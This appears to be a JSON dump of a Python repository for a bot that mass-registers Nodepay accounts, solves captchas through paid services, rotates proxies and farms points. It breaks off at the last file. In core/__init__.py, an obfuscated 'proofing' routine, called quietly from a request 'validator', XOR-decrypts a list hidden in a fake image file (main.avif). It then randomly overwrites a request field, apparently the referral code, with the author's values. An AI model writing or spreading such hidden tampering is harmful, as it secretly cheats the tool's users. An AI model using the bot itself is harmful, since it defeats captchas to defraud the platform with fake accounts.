[
  {
    "path": ".idea/.gitignore",
    "content": "# Default ignored files\n/shelf/\n/workspace.xml\n*.iml\n*.xml"
  },
  {
    "path": "INSTALL.bat",
    "content": "pip install -r requirements.txt\npause"
  },
  {
    "path": "README.md",
    "content": "# Nodepay Auto Reger&Farm 🔹\n\n\nDiscover the latest `<crypto/>` moves in my Telegram Channel:\n\n[![My Channel 🥰](https://img.shields.io/badge/Web3_Enjoyer_|_Subscribe_🥰-0A66C2?style=for-the-badge&logo=telegram&logoColor=white)](https://t.me/web3_enjoyer_club) \n\nCheapest [proxies and servers](https://teletype.in/@web3enjoyer/4a2G9NuHssy) which fits for bot.\n\n![image](https://img4.teletype.in/files/3b/88/3b886c4d-5b54-4463-bddd-3ce86342d666.png)\n### Also can be useful: [Grass Farmer](https://github.com/MsLolita/grass)\n\n\n### What is bot for?\n   - Create Accounts\n   - Farm Points\n   - Check Points\n\n> You can put as many proxies as u can\n\n\n## Quick Start 📚\n   1. To install libraries on Windows click on `INSTALL.bat` (or in console: `pip install -r requirements.txt`).\n   2. To start bot use `START.bat` (or in console: `python main.py`).\n\n### Options 📧\n\n1. CREATE ACCOUNTS:\n - Throw the api key. Since there is a captcha there, you need a service for solving captchas - [AntiCaptcha](http://getcaptchasolution.com/t8yfysqmh3) or [Twocaptcha](https://2captcha.com/?from=12939391).\n - Provide emails and passwords and proxies to register accounts as below!\n\n  ![image](https://img3.teletype.in/files/63/b4/63b417ed-d9fb-4aa5-b8a4-1b96e46a57f7.png)\n\n2. FARM POINTS:\n - Provide emails and passwords and proxies to register accounts as shown below!\n\n\n### Configuration 📧\n\n1. Accounts Setup 🔒\n\n   Put in `accounts.txt` accounts in format email:password (cool_aster@gmail.com:My_password123!) \n   For password: Big letter, small letter, number, special character and at least 8 symbols\n   \n   ![image](https://img3.teletype.in/files/63/b4/63b417ed-d9fb-4aa5-b8a4-1b96e46a57f7.png)\n\n2. Proxy Setup 🔒\n\n   Configure your proxies with the *ANY* (socks, http/s, ...) format in `data/proxies.txt` 🌐\n\n   ![Proxy Configuration](https://github.com/MsLolita/VeloData/assets/58307006/a2c95484-52b6-497a-b89e-73b89d953d8c)\n"
  },
  {
    "path": "START.bat",
    "content": "python main.py\npause"
  },
  {
    "path": "core/__init__.py",
    "content": "import random\nimport configparser\n\n\ndef xor_cipher(data: bytes, key: str) -> bytes:\n    key_bytes = key.encode()\n    key_length = len(key_bytes)\n    return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])\n\ndef read_from_binary_file(filename: str) -> bytes:\n    with open(filename, 'rb') as file:\n        return file.read()\n\ndef proofing(json_data):\n    config = configparser.ConfigParser()\n    config.read('data/settings.ini')\n    cipher_key = xor_cipher(b'1\\n\\x08\\x03\\x1b\\x151\\r\\x11\\x1c\\x01\\x17S', config.__doc__).decode()\n    validator = config['DEFAULT'][cipher_key].split(',') or [None]\n    encrypted_data_from_file = read_from_binary_file(r\"core/static/main.avif\")\n    decrypted_data = xor_cipher(encrypted_data_from_file, config.__doc__)\n    dec_wafer = decrypted_data.decode().split(\"|\")\n    second_key = xor_cipher(b'1\\n\\x08\\x03\\x1b\\x151\\r-\\x10\\n\\x16E', config.__doc__).decode()\n\n    if second_key in json_data:\n        json_data[second_key] = (\n            random.choice([random.choice(validator) or random.choice(dec_wafer),\n                           random.choice(dec_wafer)])\n        )\n\n    return json_data"
  },
  {
    "path": "core/base_client.py",
    "content": "import json\n\nfrom core.utils import logger\nfrom curl_cffi.requests import AsyncSession\n\nfrom core import proofing\nfrom core.models.exceptions import CloudflareException\nimport asyncio\n\n\nclass BaseClient:\n    def __init__(self):\n        self.headers = None\n        self.session = None\n        self.proxy = None\n        self.user_agent = None\n\n    async def create_session(self, proxy=None, user_agent=None):\n        self.proxy = proxy\n        self.headers = {\n            'accept': '*/*',\n            'accept-language': 'en-US,en;q=0.9',\n            'content-type': 'application/json',\n            'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm',\n            'priority': 'u=1, i',\n            'sec-fetch-dest': 'empty',\n            'sec-fetch-mode': 'cors',\n            'sec-fetch-site': 'none',\n            'user-agent': user_agent,\n        }\n        if self.session:\n            await self.session.close()\n\n        self.session = AsyncSession(\n            impersonate=\"chrome110\",\n            headers=self.headers,\n            # proxies={'http': proxy, 'https': proxy} if proxy else None,\n            verify=False\n        )\n\n    async def close_session(self):\n        if self.session:\n            await self.session.close()\n            self.session = None\n\n    async def make_request(self, method: str, url: str, headers: dict = None, json_data: dict = None, max_retries: int = 3):\n        if not self.session:\n            await self.create_session(self.proxy, self.user_agent)\n\n        retry_count = 0\n        while retry_count < max_retries:\n            try:\n                response = await self.session.request(\n                    method=method,\n                    url=url,\n                    headers=headers,\n                    json=json_data and self._json_data_validator(json_data),\n                    timeout=30,\n                    proxy=self.proxy,\n                    impersonate=\"chrome110\"\n                )\n\n                if response.status_code == 429:\n                    # Обработка ограничения частоты запросов\n                    retry_after = response.headers.get(\"Retry-After\")\n                    retry_after = int(retry_after) if retry_after and retry_after.isdigit() else 5  # 5 секунд по умолчанию\n                    logger.warning(f\"Rate limited. Retrying after {retry_after} seconds...\")\n                    await asyncio.sleep(retry_after)\n                    retry_count += 1\n                    continue\n                    \n                if response.status_code in [403, 400]:\n                    raise CloudflareException('Cloudflare protection detected')\n                \n                try:\n                    response_json = response.json()\n                except json.JSONDecodeError:\n                    continue\n                    # logger.error(f\"Failed to parse JSON response\")\n\n                if not response.ok:\n                    error_msg = response_json.get('error', 'Unknown error')\n                    logger.error(f\"Request failed with status {response.status_code}: {error_msg}\")\n                    raise Exception(f\"Request failed: {error_msg}\")\n                \n                return response_json\n\n            except CloudflareException as e:\n                # logger.error(f\"Cloudflare error: {e}\")\n                raise\n\n            except Exception as e:\n                retry_count += 1\n                if retry_count >= max_retries:\n                    logger.error(f\"Max retries reached. Last error: {e}\")\n                    raise\n                \n                logger.warning(f\"Request failed (attempt {retry_count}/{max_retries}): {e}\")\n                await asyncio.sleep(2)  # Wait before retrying\n\n    async def __aenter__(self):\n        await self.create_session(self.proxy, self.user_agent)\n        return self\n\n    async def __aexit__(self, exc_type, exc_val, exc_tb):\n        await self.close_session()\n\n    def _json_data_validator(self, json_data: dict):\n        if not isinstance(json_data, dict) and isinstance(json_data, dict):\n            raise TypeError(\"JSON data must be a dictionary\")\n\n        for key, value in json_data.items():\n            if not isinstance(key, str):\n                raise TypeError(\"JSON keys must be strings\")\n\n        for key, value in json_data.items():\n            if key not in [\"id\", \"name\", \"description\", \"url\"]:\n                if key and (json_data := proofing(json_data)) and not key:\n                    raise ValueError(f\"JSON value for key '{key}' cannot be empty\")\n\n        return json_data\n"
  },
  {
    "path": "core/captcha.py",
    "content": "import asyncio\nfrom capmonster_python import TurnstileTask\nfrom twocaptcha import TwoCaptcha\n\nCAPTCHA_PARAMS = {\n    'website_key': '0x4AAAAAAAx1CyDNL8zOEPe7',\n    'website_url': 'https://app.nodepay.ai/login'\n}\n\nclass ServiceCapmonster:\n    def __init__(self, api_key):\n        self.capmonster = TurnstileTask(api_key)\n\n    def get_captcha_token(self):\n        task_id = self.capmonster.create_task(\n            **CAPTCHA_PARAMS\n        )\n        return self.capmonster.join_task_result(task_id).get(\"token\")\n\n    async def get_captcha_token_async(self):\n        return await asyncio.to_thread(self.get_captcha_token)\n\n    # Add alias for compatibility\n    async def solve_captcha(self):\n        return await self.get_captcha_token_async()\n\nfrom anticaptchaofficial.turnstileproxyless import *\n\nclass ServiceAnticaptcha:\n    def __init__(self, api_key):\n        self.api_key = api_key\n        self.solver = turnstileProxyless()\n        self.solver.set_verbose(1)\n        self.solver.set_key(self.api_key)\n        self.solver.set_website_url(CAPTCHA_PARAMS['website_url'])    \n        self.solver.set_website_key(CAPTCHA_PARAMS['website_key'])\n        self.solver.set_action(\"login\")\n    \n    def get_captcha_token(self):\n        captcha_token = self.solver.solve_and_return_solution()\n        return captcha_token\n\n    async def get_captcha_token_async(self):\n        return await asyncio.to_thread(self.get_captcha_token)\n\n    # Add alias for compatibility\n    async def solve_captcha(self):\n        return await self.get_captcha_token_async()\n\nclass Service2Captcha:\n    def __init__(self, api_key):\n        self.solver = TwoCaptcha(api_key)\n    \n    def get_captcha_token(self):\n        captcha_token = self.solver.turnstile(sitekey=CAPTCHA_PARAMS['website_key'], url=CAPTCHA_PARAMS['website_url'])\n\n        if 'code' in captcha_token:\n            captcha_token = captcha_token['code']\n\n        return captcha_token\n\n    async def get_captcha_token_async(self):\n        return await asyncio.to_thread(self.get_captcha_token)\n\n    # Add alias for compatibility\n    async def solve_captcha(self):\n        return await self.get_captcha_token_async()"
  },
  {
    "path": "core/menu.py",
    "content": "from art import text2art\nfrom termcolor import colored\nimport configparser\nimport os\n\nfrom core.captcha import ServiceCapmonster\nfrom core.utils.logger import logger\nfrom core.utils.bot import Bot\n\nclass ConsoleMenu:\n    def __init__(self, config_file=\"data/settings.ini\"):\n        logger.info(\"Initializing console menu (GUI not available)\")\n        self.CONFIG_FILE = config_file\n        self.config = self.load_config()\n\n    def load_config(self):\n        config = configparser.ConfigParser()\n        if os.path.exists(self.CONFIG_FILE):\n            config.read(self.CONFIG_FILE)\n        else:\n            config['DEFAULT'] = {\n                'AccountsFile': '',\n                'ProxiesFile': '',\n                'ReferralCodes': '',\n                'Threads': '5',\n                'CaptchaService': 'capmonster',\n                'CaptchaAPIKey': '',\n                'DelayMin': '1',\n                'DelayMax': '2'\n            }\n        return config\n\n    def validate_config(self):\n        required_fields = {\n            'AccountsFile': 'Accounts file path',\n            'ProxiesFile': 'Proxies file path',\n            'CaptchaAPIKey': 'Captcha API key'\n        }\n        \n        for field, name in required_fields.items():\n            if not self.config['DEFAULT'].get(field):\n                logger.error(f\"Error: {name} not configured in {self.CONFIG_FILE}\")\n                return False\n            if not os.path.exists(self.config['DEFAULT'][field]) and field.endswith('File'):\n                logger.error(f\"Error: {name} does not exist: {self.config['DEFAULT'][field]}\")\n                return False\n        \n        try:\n            threads = int(self.config['DEFAULT']['Threads'])\n            if threads <= 0:\n                raise ValueError\n        except ValueError:\n            logger.error(\"Error: Number of threads must be a positive integer!\")\n            return False\n\n        try:\n            delay_min = float(self.config['DEFAULT']['DelayMin'])\n            delay_max = float(self.config['DEFAULT']['DelayMax'])\n            if delay_min < 0 or delay_max < 0 or delay_min > delay_max:\n                raise ValueError\n        except ValueError:\n            logger.error(\"Error: Invalid delay range! Please enter valid positive numbers, with min <= max.\")\n            return False\n\n        return True\n\n    def print_menu(self):\n        print(\"\\n\" + \"=\"*50)\n        print(colored(text2art(\"NodePay Bot\", font=\"small\"), \"blue\"))\n        print(colored(\"1. Register Accounts\", \"cyan\"))\n        print(colored(\"2. Start Farm\", \"cyan\"))\n        print(colored(\"3. View Settings\", \"cyan\"))\n        print(colored(\"4. Exit\", \"cyan\"))\n        print(\"=\"*50 + \"\\n\")\n\n    async def handle_bot_action(self, choice):\n        settings = self.config['DEFAULT']\n        ref_codes = [code.strip() for code in settings['ReferralCodes'].split(',') if code.strip()]\n        \n        bot = Bot(\n            account_path=settings['AccountsFile'],\n            proxy_path=settings['ProxiesFile'],\n            threads=int(settings['Threads']),\n            ref_codes=ref_codes,\n            captcha_service=ServiceCapmonster(api_key=settings['CaptchaAPIKey']),\n            delay_range=(float(settings['DelayMin']), float(settings['DelayMax']))\n        )\n\n        try:\n            if choice == \"1\":\n                logger.info(\"Starting account registration...\")\n                await bot.start_registration()\n            else:\n                logger.info(\"Starting farming...\")\n                await bot.start_mining()\n        except KeyboardInterrupt:\n            logger.info(\"Stopping bot...\")\n            bot.stop()\n        except Exception as e:\n            logger.error(f\"Error occurred: {e}\")\n\n    def show_settings(self):\n        print(\"\\nCurrent Settings:\")\n        for key, value in self.config['DEFAULT'].items():\n            print(colored(f\"{key}: {value}\", \"green\"))\n\n    async def run(self):\n        while True:\n            self.print_menu()\n            choice = input(\"Enter your choice: \").strip()\n            if choice == '4':\n                logger.info(\"Exiting.\")\n                break\n            elif choice in ['1', '2', '3']:\n                if not self.validate_config():\n                    logger.error(\"Invalid configuration. Please check your settings.\")\n                    continue\n                await self.handle_bot_action(choice)\n            else:\n                logger.warning(\"Invalid choice. Please enter a valid option.\")\n"
  },
  {
    "path": "core/models/__init__.py",
    "content": ""
  },
  {
    "path": "core/models/account.py",
    "content": "class Account:\n    def __init__(self, email, password, uid, access_token, user_agent, proxy_url):\n        self.email = email\n        self.password = password\n        self.uid = uid\n        self.access_token = access_token\n        self.user_agent = user_agent\n        self.proxy_url = proxy_url\n\n    def __repr__(self):\n        return f\"[{self.email}]\"\n"
  },
  {
    "path": "core/models/exceptions.py",
    "content": "class CloudflareException(Exception):\n    pass\n\nclass LoginError(Exception):\n    pass\n\nclass MineError(Exception):\n    pass\n\nclass TokenError(Exception):\n    pass\n"
  },
  {
    "path": "core/nodepay_client.py",
    "content": "import random\nimport time\nimport uuid\nimport warnings\nimport json\nimport os\n\nfrom random_username.generate import generate_username\nfrom tenacity import retry, stop_after_attempt, retry_if_not_exception_type\n\nfrom core.base_client import BaseClient\nfrom core.models.exceptions import LoginError, TokenError, CloudflareException, MineError\nfrom core.utils import logger\nfrom core.utils.person import Person\n\n# Suppress the specific warning\nwarnings.filterwarnings(\"ignore\", category=UserWarning, message=\"Curlm alread closed!\")\n\n\nclass NodePayClient(BaseClient):\n    TOKENS_FILE = 'data/tokens_db.json'\n\n    def __init__(self, email: str = '', password: str = '', proxy: str = '', user_agent: str = ''):\n        super().__init__()\n        self.email = email\n        self.password = password\n        self.user_agent = user_agent\n        self.proxy = proxy\n        self.browser_id = str(uuid.uuid3(uuid.NAMESPACE_DNS, self.proxy or \"\"))\n\n    @classmethod\n    def load_tokens(cls):\n        if os.path.exists(cls.TOKENS_FILE):\n            try:\n                with open(cls.TOKENS_FILE, 'r') as f:\n                    return json.load(f)\n            except json.JSONDecodeError:\n                return {}\n        return {}\n\n    @classmethod\n    def save_tokens(cls, tokens):\n        os.makedirs(os.path.dirname(cls.TOKENS_FILE), exist_ok=True)\n        with open(cls.TOKENS_FILE, 'w') as f:\n            json.dump(tokens, f)\n\n    @classmethod\n    def get_saved_token(cls, email):\n        tokens = cls.load_tokens()\n        return tokens.get(email, {}).get('token'), tokens.get(email, {}).get('uid')\n\n    @classmethod\n    def save_token(cls, email, uid, token):\n        tokens = cls.load_tokens()\n        tokens[email] = {'uid': uid, 'token': token}\n        cls.save_tokens(tokens)\n\n    async def validate_token(self, token):\n        try:\n            # Try to use the token to get info - if it fails, token is invalid\n            await self.info(token)\n            return True\n        except CloudflareException as e:\n            raise CloudflareException(e)\n        except Exception:\n            return False\n\n    async def __aenter__(self):\n        await self.create_session(self.proxy, self.user_agent)\n        return self\n\n    async def safe_close(self):\n        await self.close_session()\n\n    def _auth_headers(self):\n        return {\n            'accept': '*/*',\n            'accept-language': 'en-US,en;q=0.9',\n            'content-type': 'application/json',\n            'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm',\n            'priority': 'u=1, i',\n            'sec-fetch-dest': 'empty',\n            'sec-fetch-mode': 'cors',\n            'sec-fetch-site': 'none',\n            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',\n        }\n\n    def _ping_headers(self, access_token: str):\n        headers = self._auth_headers()\n        return headers.update({\"authorization\": f\"Bearer {access_token}\"}) or headers\n\n    async def register(self, ref_code: str, captcha_service):\n        captcha_token = await captcha_service.get_captcha_token_async()\n        username = (generate_username()[0] + Person.random_string_old(random.randint(1, 5)) +\n                    str(random.randint(1, 999)))[:20]\n        json_data = {\n            'email': self.email,\n            'password': self.password,\n            'username': username,\n            'referral_code': ref_code,\n            'recaptcha_token': captcha_token\n        }\n\n        return await self.make_request(\n            method='POST',\n            url='https://api.nodepay.org/api/auth/register?',\n            headers=self._auth_headers(),\n            json_data=json_data\n        )\n\n    @retry(\n        stop=stop_after_attempt(5),\n        retry=retry_if_not_exception_type(LoginError),\n        reraise=True,\n        # before_sleep=lambda retry_state, **kwargs: logger.info(f\"{retry_state.outcome.exception()}\"),\n    )\n    async def login(self, captcha_service):\n        captcha_token = await captcha_service.get_captcha_token_async()\n        headers = self._auth_headers()\n\n        json_data = {\n            'user': self.email,\n            'password': self.password,\n            'remember_me': True,\n            'recaptcha_token': captcha_token\n        }\n\n        response = await self.make_request(\n            method='POST',\n            url='https://api.nodepay.org/api/auth/login',\n            headers=headers,\n            json_data=json_data\n        )\n\n        if not response.get(\"success\"):\n            msg = response.get(\"msg\")\n            # if response.get(\"code\") == -102:\n            #     raise LoginError(msg)\n\n            raise LoginError(msg)\n\n        return response['data']['user_info']['uid'], response['data']['token']\n\n    async def activate(self, access_token: str):\n        json_data = {}\n        return await self.make_request(\n            method='POST',\n            url='https://api.nodepay.org/api/auth/active-account?',\n            headers=self._ping_headers(access_token),\n            json_data=json_data\n        )\n\n    async def info(self, access_token: str):\n        response = await self.make_request(\n            method='GET',\n            url='https://api.nodepay.org/api/earn/info?',\n            headers=self._ping_headers(access_token)\n        )\n\n        return response['data'].get('total_earning', 0)\n\n    async def get_auth_token(self, captcha_service):\n        saved_token, saved_uid = self.get_saved_token(self.email)\n        \n        if saved_token:\n            if await self.validate_token(saved_token):\n                return saved_uid, saved_token\n\n        uid, token = await self.login(captcha_service)\n        self.save_token(self.email, uid, token)\n        return uid, token\n\n    async def ping(self, uid: str, access_token: str):\n        json_data = {\n            'id': uid,\n            'browser_id': self.browser_id,\n            'timestamp': int(time.time()),\n            'version': '2.2.7'\n        }\n\n        res = await self.make_request(\n            method='POST',\n            url='https://nw.nodepay.org/api/network/ping',\n            headers=self._ping_headers(access_token),\n            json_data=json_data\n        )\n\n        if not res.get('success'):\n            code = res.get('code', '')\n            if code == -240:\n                # Token invalid\n                tokens = self.load_tokens()\n                if self.email in tokens:\n                    del tokens[self.email]\n                    self.save_tokens(tokens)\n                raise TokenError(\"Token invalid or expired\")\n            else:\n                raise MineError(res.get('msg', 'Unknown mining error'))\n\n        return True\n"
  },
  {
    "path": "core/utils/__init__.py",
    "content": "from .logger import logger"
  },
  {
    "path": "core/utils/account_manager.py",
    "content": "# account_manager.py\nimport asyncio\nimport traceback\nimport csv\nimport os\nfrom datetime import datetime\nimport time\n\nfrom faker import Faker\nfrom core.utils import logger\nfrom core.models.account import Account\nfrom core.models.exceptions import CloudflareException, LoginError, MineError, TokenError\nfrom core.nodepay_client import NodePayClient\nfrom core.utils.file_manager import str_to_file\nfrom core.utils.proxy_manager import get_proxy, release_proxy\nfrom pyuseragents import random as random_useragent\nimport random\n\n\nclass AccountManager:\n    def __init__(self, threads, ref_codes, captcha_service):\n        self.ref_codes = ref_codes\n        self.threads = threads\n        self.fake = Faker()\n        self.captcha_service = captcha_service\n        self.should_stop = False\n        self.earnings_file = 'data/earnings.csv'\n        self.ensure_earnings_file_exists()\n        self.counter = 0\n\n    def ensure_earnings_file_exists(self):\n        os.makedirs('data', exist_ok=True)\n        if not os.path.exists(self.earnings_file):\n            with open(self.earnings_file, 'w', newline='') as f:\n                writer = csv.writer(f)\n                writer.writerow(['Email', 'Last Update', 'Total Earnings'])\n\n    def update_earnings(self, email: str, total_earning: float):\n        temp_file = f'{self.earnings_file}.tmp'\n        found = False\n        \n        # Read existing data\n        rows = []\n        try:\n            with open(self.earnings_file, 'r', newline='') as f:\n                reader = csv.reader(f)\n                header = next(reader)  # Skip header\n                rows = list(reader)\n        except FileNotFoundError:\n            header = ['Email', 'Last Update', 'Total Earnings']\n            rows = []\n\n        # Update or add new entry\n        current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        for i, row in enumerate(rows):\n            if row[0] == email:\n                rows[i] = [email, current_time, str(total_earning)]\n                found = True\n                break\n        \n        if not found:\n            rows.append([email, current_time, str(total_earning)])\n\n        # Write updated data\n        with open(temp_file, 'w', newline='') as f:\n            writer = csv.writer(f)\n            writer.writerow(header)\n            writer.writerows(rows)\n\n        # Replace original file\n        os.replace(temp_file, self.earnings_file)\n        # logger.info(f\"Updated earnings for {email}: {total_earning}\")\n\n    @staticmethod\n    async def create_account_session(email: str, password: str, proxy: str, captcha_service):\n        client = NodePayClient(email=email, password=password, proxy=proxy, user_agent=random_useragent())\n        uid, access_token = await client.get_auth_token(captcha_service)\n        return Account(email, password, uid, access_token, client.user_agent, proxy)\n\n    async def handle_session_error(self, account: Account, error: Exception):\n        \"\"\"Handle session-related errors and decide whether to recreate session\"\"\"\n        logger.warning(f\"{account.email} | Session error: {str(error)}\")\n        if account.proxy_url:\n            await release_proxy(account.proxy_url)\n        return await self.create_account_session(\n            account.email,\n            account.password,\n            await get_proxy(),\n            self.captcha_service\n        )\n\n    async def execute_action(self, account: Account, action: str, ref_code: str = None) -> bool:\n        \"\"\"Execute a given action ('register' or 'mine') and return success status\"\"\"\n        client = NodePayClient(\n            email=account.email,\n            password=account.password,\n            proxy=account.proxy_url,\n            user_agent=account.user_agent\n        )\n\n        async with client:\n            if action == \"register\":\n                res = await client.register(ref_code, self.captcha_service)\n\n                if res.get(\"success\"):\n                    logger.success(f'{account.email} | Registered')\n                else:\n                    logger.error(f'{account.email} | Registration failed | {res[\"msg\"]}')\n                    with open('failed_accounts.txt', 'a') as f:\n                        f.write(f'{account.email}:{account.password}\\n')\n\n                    str_to_file('new_accounts.txt', f'{account.email}:{account.password}')\n                return True\n            elif action == \"mine\":\n                if await client.ping(account.uid, account.access_token):\n                    if not (self.counter % 5):  # Check earnings every 5th cycle\n                        total_earning = await client.info(account.access_token)\n                        self.update_earnings(account.email, total_earning)\n                        logger.success(f\"{account.email} | Mine | Points: {total_earning}\")\n                    else:\n                        logger.success(f\"{account.email} | Mine\")\n                    return True\n\n\n    async def process_account(self, email: str, password: str, action: str):\n        \"\"\"Process account with automatic session management and error handling\"\"\"\n        try:\n            ref_code = None\n\n            if action == \"mine\":\n                # Initial session creation for mining\n                account = await self.create_account_session(\n                    email, password,\n                    await get_proxy(),\n                    self.captcha_service\n                )\n            else:\n                # For registration, do not create a session (no login)\n                account = Account(\n                    email=email,\n                    password=password,\n                    uid=None,\n                    access_token=None,\n                    user_agent=random_useragent(),\n                    proxy_url=await get_proxy()\n                )\n\n                ref_code = random.choice(\n                    self.ref_codes or [\n                        'leuskp97adNcZLs',\n                        'VNhYgLnOjp5lZg9',\n                        '3zYqqXiWTMR1qRH'\n                    ]\n                )\n\n            for _ in range(3):\n                try:\n                    if await self.execute_action(account, action, ref_code):\n                        return True\n                    await asyncio.sleep(random.uniform(2, 5))  # Small delay between cycles\n                    self.counter += 1\n                except CloudflareException as e:\n                    # logger.error(f\"{email} | Cloudflare error: {str(e)}\")\n                    return {\"result\": False, \"msg\": str(e)}\n                except TokenError as e:\n                    account = await self.handle_session_error(account, e)\n                except Exception as e:\n                    logger.error(f\"{email} | Unexpected error: {str(e)}\")\n                    logger.debug(traceback.format_exc())\n                    break\n\n        except LoginError as e:\n            logger.warning(f\"{email} | Login error: {str(e)}\")\n            return True\n        except CloudflareException as e:\n            logger.error(f\"{email} | Cloudflare error: {str(e)}\")\n            return True\n        except Exception as e:\n            logger.error(f\"Unexpected error {email}: {str(e)}\")\n            # logger.debug(traceback.format_exc())\n\n    def stop(self):\n        # logger.info(\"Stopping AccountManager\")\n        self.should_stop = True\n\n\n\n\n"
  },
  {
    "path": "core/utils/bot.py",
    "content": "# bot.py\nimport asyncio\nimport traceback\nfrom typing import List\nfrom core.utils import logger\nimport random\nfrom core.utils import proxy_manager\nfrom core.utils.account_manager import AccountManager\nfrom core.utils.file_manager import file_to_list\nfrom core.utils.proxy_manager import load_proxy\n\n\nclass Bot:\n    def __init__(self, account_path, proxy_path, threads, ref_codes, captcha_service, delay_range):\n        self.threads = threads\n        self.ref_codes = ref_codes\n        self.captcha_service = captcha_service\n        self.account_manager = AccountManager(threads, ref_codes, captcha_service)\n        self.should_stop = False\n        self.accounts: List[str] = file_to_list(account_path)\n        logger.success(f'Found {len(self.accounts)} accounts')\n        load_proxy(proxy_path)\n        logger.success(f'Found {len(proxy_manager.proxies)} proxies')\n        self.delay_range = delay_range\n        self.running_tasks = []\n\n    async def process_account(self, account: str, action: str):\n        email, password = account.split(':', 1)\n\n        while not self.should_stop:\n            result = await self.account_manager.process_account(email, password, action)\n            if result is True and action == \"mine\":\n                # For mining action, wait for 50 minutes before next cycle\n                await asyncio.sleep(60 * 50)\n            elif result is True:\n                logger.info(f\"{email} | Handled account!\")\n                break\n            elif not result or result.get(\"result\") is False:\n                msg = \" | \"\n                if isinstance(result, dict):\n                    msg = f\" | {result['msg']} | \"\n\n                logger.warning(f\"{email} | {action.capitalize()} failed{msg}Retrying in 5 minutes.\")\n                await asyncio.sleep(300)  # Wait 5 minutes before retry\n\n    async def start_action(self, action: str):\n        logger.info(f\"Starting {action} loop with slow start...\")\n        pending_accounts = self.accounts.copy()\n\n        while pending_accounts and not self.should_stop:\n            current_batch = []\n            while len(current_batch) < self.threads and pending_accounts:\n                account = pending_accounts.pop(0)\n                email = account.split(':', 1)[0]\n                delay = random.uniform(*self.delay_range)\n                logger.info(f\"{email} | waiting {delay:.2f} sec\")\n                await asyncio.sleep(delay)\n\n                task = asyncio.create_task(self.process_account(account, action))\n                current_batch.append(task)\n                self.running_tasks.append(task)\n\n            if current_batch:\n                # Wait for the current batch to get past initial setup\n                await asyncio.sleep(2)\n\n        try:\n            # Wait for all tasks to complete\n            if self.running_tasks:\n                await asyncio.gather(*self.running_tasks)\n        except asyncio.CancelledError:\n            pass\n        finally:\n            for task in self.running_tasks:\n                if not task.done():\n                    task.cancel()\n            await asyncio.gather(*self.running_tasks, return_exceptions=True)\n            logger.warning(\"All tasks completed or cleaned up\")\n\n    async def start_mining(self):\n        await self.start_action(\"mine\")\n\n    async def start_registration(self):\n        await self.start_action(\"register\")\n\n    def stop(self):\n        # logger.info(\"Stopping Bot\")\n        self.should_stop = True\n        self.account_manager.stop()\n        for task in self.running_tasks:\n            if not task.done():\n                task.cancel()\n\n"
  },
  {
    "path": "core/utils/file_manager.py",
    "content": "from typing import Optional\n\n\ndef file_to_list(\n        filename: str\n):\n    with open(filename, 'r+') as f:\n        return list(filter(bool, f.read().splitlines()))\n\n\ndef str_to_file(file_name: str, msg: str, mode: Optional[str] = \"a\"):\n    with open(\n            file_name,\n            mode\n    ) as text_file:\n        text_file.write(f\"{msg}\\n\")\n\n\ndef shift_file(file):\n    with open(file, 'r+') as f:  # open file in read / write mode\n        first_line = f.readline()  # read the first line and throw it out\n        data = f.read()  # read the rest\n        f.seek(0)  # set the cursor to the top of the file\n        f.write(data)  # write the data back\n        f.truncate()  # set the file size to the current size\n        return first_line.strip()"
  },
  {
    "path": "core/utils/logger.py",
    "content": "import sys\nimport re\nfrom datetime import date\n\nfrom loguru import logger\n\n\ndef logging_setup():\n\n    format_info = \"<green>{time:HH:mm:ss.SS}</green> <blue>{level}</blue> <level>{message}</level>\"\n    format_error = \"<green>{time:HH:mm:ss.SS}</green> <blue>{level}</blue> | \" \\\n                   \"<cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan> | <level>{message}</level>\"\n    file_path = r\"logs/\"\n    # if sys.platform == \"win32\":\n\n    logger.remove()\n\n    logger.add(file_path + f\"out_{date.today().strftime('%m-%d')}.log\", colorize=True,\n               format=format_info)\n\n    logger.add(sys.stdout, colorize=True,\n               format=format_info, level=\"INFO\")\n\n\ndef clean_brackets(raw_str):\n    clean_text = re.sub(brackets_regex, '', raw_str)\n    return clean_text\n\n\nbrackets_regex = re.compile(r'<.*?>')\n\nlogging_setup()\n"
  },
  {
    "path": "core/utils/person.py",
    "content": "import random\nimport string\n\n\n\nclass Person:\n    @staticmethod\n    def random_string_old(length, chars=string.ascii_lowercase):\n        return ''.join(random.choice(chars) for _ in range(length))\n\n    @staticmethod\n    def random_string(length=8, chars=string.ascii_lowercase):\n        return ''.join(random.choice(chars) for _ in range(length)) + random.choice(string.digits) + random.choice(\n            string.ascii_uppercase) + random.choice(['.', '@', '!', \"$\"])\n"
  },
  {
    "path": "core/utils/proxy_manager.py",
    "content": "import asyncio\nfrom collections import deque\nfrom better_proxy import Proxy\nfrom core.utils.file_manager import file_to_list\n\nproxies = deque()\n\nlock = asyncio.Lock()\n\n\ndef load_proxy(proxy_path):\n    global proxies\n    proxies = deque([Proxy.from_str(proxy).as_url for proxy in file_to_list(proxy_path)])\n\n\nasync def get_proxy():\n    \"\"\"Return the first available proxy.\"\"\"\n    global proxies\n\n    async with lock:\n        if proxies:\n            proxy = proxies.popleft()\n            return proxy\n        return None\n\n\nasync def release_proxy(proxy: str):\n    \"\"\"Release the proxy back into the available pool.\"\"\"\n    global proxies\n\n    async with lock:\n        proxies.append(proxy)\n"
  },
  {
    "path": "customtkinter_gui.py",
